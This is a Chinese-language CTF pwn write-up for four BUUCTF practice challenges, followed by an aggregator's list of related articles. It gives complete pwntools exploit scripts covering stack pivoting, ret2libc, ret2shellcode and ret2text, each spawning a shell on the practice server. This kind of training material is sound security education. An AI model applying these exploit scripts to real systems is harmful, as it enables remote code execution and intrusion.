PWN-PRACTICE-BUUCTF-8

PWN-PRACTICE-BUUCTF-8

    • ciscn_2019_es_2
    • jarvisoj_level3
    • ez_pz_hackover_2016
    • jarvisoj_tell_me_something

ciscn_2019_es_2

栈溢出,但是只能溢出8字节,覆盖ebp和eip,考虑stack pivot,即栈迁移
参考:pwn-ciscn_2019_es_2(栈迁移)

#coding:utf-8
from pwn import *
#context.log_level="debug"
#io=process('./ciscn_2019_es_2')
io=remote('node4.buuoj.cn',25654)
elf=ELF('./ciscn_2019_es_2')
system=elf.plt['system']
leave_ret=0x080485FD
s_ebp_offset=0x38	#输入的起始地址相对于泄露出的ebp的偏移,调试可得
io.recvuntil("your name?\n")
payload="a"*36+"b"*4	#填充满s的40个字节
io.send(payload)
io.recvuntil("b"*4)
ebp=u32(io.recv(4))	#泄露出ebp
print(hex(ebp))
io.recvuntil("\n")
payload="a"*4		#fake ebp
payload+=p32(system)	#第二个leave ret会ret到system
payload+=p32(0xaaaabbbb)#system执行后的返回地址
payload+=p32(ebp-s_ebp_offset+0x10)#system的参数,要指向"/bin/sh\x00"字符串,前面12个字节加上这个的4字节,所以还要加上0x10,仿照格式化字符串任意写的思路
payload+="/bin/sh\x00"
payload=payload.ljust(40,'\x00')#填充满s的40个字节
payload+=p32(ebp-s_ebp_offset)#覆盖ebp,第一个leave的mov esp,ebp(fake) 会让esp指向我们的输入的前四个字节"a"*4
payload+=p32(leave_ret)#覆盖eip,第一个ret会ret到第二个leave ret,而此时的esp为我们输入的前四个字节"a"*4,由于第二个leave的pop ebp,于是我们输入的"a"*4就充当了fake ebp,然后ret就会到system
io.send(payload)
io.interactive()

jarvisoj_level3

栈溢出,ret2libc

from pwn import *
#io=process('./jarvisoj_level3')
io=remote('node4.buuoj.cn',26654)
elf=ELF('./jarvisoj_level3')
libc=ELF('./libc-2.23-x32.so')
io.recvuntil('Input:\n')
write_got=elf.got['write']
write_plt=elf.plt['write']
main_addr=elf.sym['main']
payload='a'*(0x88+4)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(10)
io.sendline(payload)
write_addr=u32(io.recv(4))
print(hex(write_addr))
libc_base=write_addr-libc.sym['write']
system=libc_base+libc.sym['system']
binsh=libc_base+libc.search('/bin/sh\x00').next()
io.recvuntil('Input:\n')
payload='a'*(0x88+4)+p32(system)+p32(0xdead)+p32(binsh)
io.sendline(payload)
io.interactive()

ez_pz_hackover_2016

'\x00’绕过strcmp,然后是栈溢出,ret2shellcode
参考:[BUUCTF]PWN——ez_pz_hackover_2016
我自己做的时候,想当然的以为想要构成栈溢出,要填充的数据量为ida分析出的dest的50个字节
实际上需要调试才能得到填充量应为0x16(带"crashme\x00",不带ebp)
覆盖ebp和eip,最后加上shellcode,覆盖eip应指向shellcode
所以shellcode相对于题目直接给出的s的地址的偏移也需要知道
eip处偏移为32,因为eip要指向shellcode,而shellcode跟在eip后面
所以shellcode偏移为32-4==28

from pwn import *
#context.log_level="debug"
context.os="linux"
context.arch="i386"
#io=process("./ez_pz_hackover_2016")
io=remote('node4.buuoj.cn',25710)
elf=ELF("./ez_pz_hackover_2016")
io.recvuntil("lets crash: ")
s_stack=int(io.recvuntil("\n")[:-1],16)
print(hex(s_stack))
io.recvuntil("> ")
payload="crashme\x00"#'\x00'绕过strcmp
payload+="a"*(0x16-8+4)#覆盖ebp
payload+=p32(s_stack-32+4)#覆盖eip指向shellcode
payload+=asm(shellcraft.sh())#shellcode
io.sendline(payload)
io.interactive()

jarvisoj_tell_me_something

栈溢出,ret2text

from pwn import *
#io=process('./jarvisoj_tell_me_something')
io=remote('node4.buuoj.cn',29268)
elf=ELF('./jarvisoj_tell_me_something')
flag_addr=elf.sym['good_game']
io.recvuntil('message:\n')
payload='a'*(0x88)+p64(flag_addr)
io.send(payload)
io.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/438107.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

使用Nuget 安装指定版本package或者更新package到指定版本

最近在琢磨MVC和EntityFramework,使用的VS是2013版的,在Nuget的GUI界面下安装了EntityFramework(默认安装最新版的,怎么安装指定版本还没找到),按照MVC的示例项目MusicStore逐步做的过程中发现MVC4不支持EntityFramwok 6。 尝试去更新MVC版本各种失败&a…

PWN-PRACTICE-BUUCTF-9

PWN-PRACTICE-BUUCTF-9[Black Watch 入群题]PWNjarvisoj_level4picoctf_2018_rop chain[ZJCTF 2019]EasyHeap[Black Watch 入群题]PWN vul_function可以向.bss段上写数据,还可以构成栈溢出,但只能溢出8字节,覆盖ebp和eip 利用两次栈迁移 第一…

CSS一个元素同时使用多个类选择器(class selector)

CSS类选择器参考手册 一个元素同时使用多个类选择器 CSS中类选择器用点号表示。实际项目中一个div元素为了能被多个样式表匹配到&#xff08;样式复用&#xff09;&#xff0c;通常div的class中由好几段组成&#xff0c;如<div class"user login">能被.user和…

css 块元素、内联元素、内联块元素

元素就是标签&#xff0c;布局中常用的有三种标签&#xff0c;块元素、内联元素、内联块元素&#xff0c;了解这三种元素的特性&#xff0c;才能熟练的进行页面布局。 块元素&#xff1a; 块元素&#xff0c;也可以称为行元素&#xff0c;布局中常用的标签&#xff0c;如&…

PWN-PRACTICE-BUUCTF-10

PWN-PRACTICE-BUUCTF-10jarvisoj_level3_x64bjdctf_2020_babyrop2hitcontraining_uafjarvisoj_test_your_memoryjarvisoj_level3_x64 64位elf的栈溢出&#xff0c;ret2csu from pwn import * #context.log_leveldebug #ioprocess(./jarvisoj_level3_x64) ioremote(node4.buuo…

PWN-PRACTICE-BUUCTF-11

PWN-PRACTICE-BUUCTF-11bjdctf_2020_routerpicoctf_2018_buffer overflow 1pwnable_orwwustctf2020_getshellbjdctf_2020_router Linux 系统可以在一个命令行上执行多个命令:; --如果命令被分号(;)所分隔&#xff0c;那么命令会连续的执行下去&#xff0c;就算是错误的命令也会…

Redis与关系型数据库的同步问题

Redis是一个高性能的key-value数据库。 redis的出现&#xff0c;很大程度补偿了memcached这类key-value存储的不足&#xff0c;在部分场合可以对关系数据库起到很好的补充作用。它提供了Python&#xff0c;Ruby&#xff0c;Erlang&#xff0c;PHP客户端&#xff0c;使用很方便。…

Delphi各个版本和发展历史

Delphi&#xff0c;是Windows平台下著名的快速应用程序开发工具(Rapid Application Development&#xff0c;简称RAD)。它的前身&#xff0c;即是DOS时代盛行一时的“BorlandTurbo Pascal”&#xff0c;最早的版本由美国Borland&#xff08;宝兰&#xff09;公司于1995年开发。…

PWN-PRACTICE-BUUCTF-12

PWN-PRACTICE-BUUCTF-12cmcc_simpleroppicoctf_2018_buffer overflow 2babyfengshui_33c3_2016xdctf2015_pwn200cmcc_simplerop 静态编译的32位elf&#xff0c;找一个"int 80h"执行系统调用 前提是利用栈溢出读入字符串"/bin/sh\x00"&#xff0c;然后找po…

C# 基础——C#特性

.NET C# Web开发学习之路——C#特性 C#历史办版本及特性 语言版本发布时间.NET Framework要求Visual版本C# 1.02002.1.NET Framework 1.0Visual Studio .NET 2002C# 1.1\1.22003.4.NET Framework 1.1Visual Studio .NET 2003C# 2.02005.11.NET Framework 2.0Visual Studio 20…

PWN-PRACTICE-BUUCTF-13

PWN-PRACTICE-BUUCTF-13[ZJCTF 2019]Logininndy_ropmrctf2020_shellcodejarvisoj_level1[ZJCTF 2019]Login 参考&#xff1a;ZJCTF 2019 Pwn from pwn import * ioremote(node4.buuoj.cn,27513) #io process("./login") shell 0x400e88 io.recvuntil("user…

同步与异步系列之二 导读目录

.NET 同步与异步 之 EventWaitHandle&#xff08;Event通知&#xff09; &#xff08;十三&#xff09; .NET 同步与异步 之 Mutex &#xff08;十二&#xff09; .NET 同步与异步 之 线程安全的集合 (十一) .NET 同步与异步 之 警惕闭包&#xff08;十&#xff09; .NET 同…

PWN-PRACTICE-BUUCTF-14

PWN-PRACTICE-BUUCTF-14bbys_tu_2016ciscn_2019_n_3roarctf_2019_easy_pwngyctf_2020_borrowstackbbys_tu_2016 栈溢出&#xff0c;覆盖eip到printFlag函数 from pwn import * #ioprocess(./bbys_tu_2016) ioremote(node4.buuoj.cn,27817) elfELF(./bbys_tu_2016) #io.recvun…

.NET 实现并行的几种方式(一)

好久没有更新了&#xff0c;今天来一篇&#xff0c;算是《同步与异步》系列的开篇吧&#xff0c;加油&#xff0c;坚持下去&#xff08;PS:越来越懒了&#xff09;。 一、Thread 利用Thread 可以直接创建和控制线程&#xff0c;在我的认知里它是最古老的技术了。因为out了、所…

PWN-PRACTICE-BUUCTF-15

PWN-PRACTICE-BUUCTF-15axb_2019_fmt32wustctf2020_getshell_2others_babystackpwnable_startaxb_2019_fmt32 格式化字符串漏洞 第一次打印出printf的真实地址&#xff0c;进而计算libc基地址&#xff0c;得到system真实地址 第二次修改got表&#xff0c;使printf的got指向sys…

PWN-PRACTICE-BUUCTF-16

PWN-PRACTICE-BUUCTF-16mrctf2020_easyoverflowhitcontraining_magicheapciscn_2019_s_40ctf_2017_babyheapmrctf2020_easyoverflow 覆盖main函数中的v5&#xff0c;使之为"n0t_r311y_f1g" from pwn import * rremote("node4.buuoj.cn",29521) payloada*…

REVERSE-PRACTICE-BUUCTF-32

REVERSE-PRACTICE-BUUCTF-32[第四章 CTF之APK章]数字壳的传说[第五章 CTF之RE章]Hello, RE[第五章 CTF之RE章]BabyAlgorithm[第五章 CTF之RE章]BabyConst[第五章 CTF之RE章]BabyLib[第五章 CTF之RE章]easy_rust[第五章 CTF之RE章]easy_go[第五章 CTF之RE章]easy_mfc[第四章 CTF…

.NET 实现并行的几种方式(二)

本随笔续接&#xff1a;.NET 实现并行的几种方式&#xff08;一&#xff09; 四、Task 3&#xff09;Task.NET 4.5 中的简易方式 在上篇随笔中&#xff0c;两个Demo使用的是 .NET 4.0 中的方式&#xff0c;代码写起来略显麻烦&#xff0c;这不 .NET 4.5提供了更加简洁的方…

PWN-PRACTICE-BUUCTF-17

PWN-PRACTICE-BUUCTF-17hitcontraining_heapcreatorwustctf2020_closedciscn_2019_es_7hitcon2014_stkofhitcontraining_heapcreator 单字节溢出&#xff0c;修改下一个chunk的size&#xff0c;造成chunk overlap&#xff0c;实现任意地址读写 参考&#xff1a;buuctf hitcont…

redis 和 数据库mysql之间的关系

https://www.zhihu.com/question/20734566 https://www.zhihu.com/question/19660689 http://blog.csdn.net/Ideality_hunter/article/details/77621643 redis和mysql要根据具体业务场景去选型 mysql&#xff1a;数据放在磁盘redis&#xff1a;数据放在内存 redis适合放一些…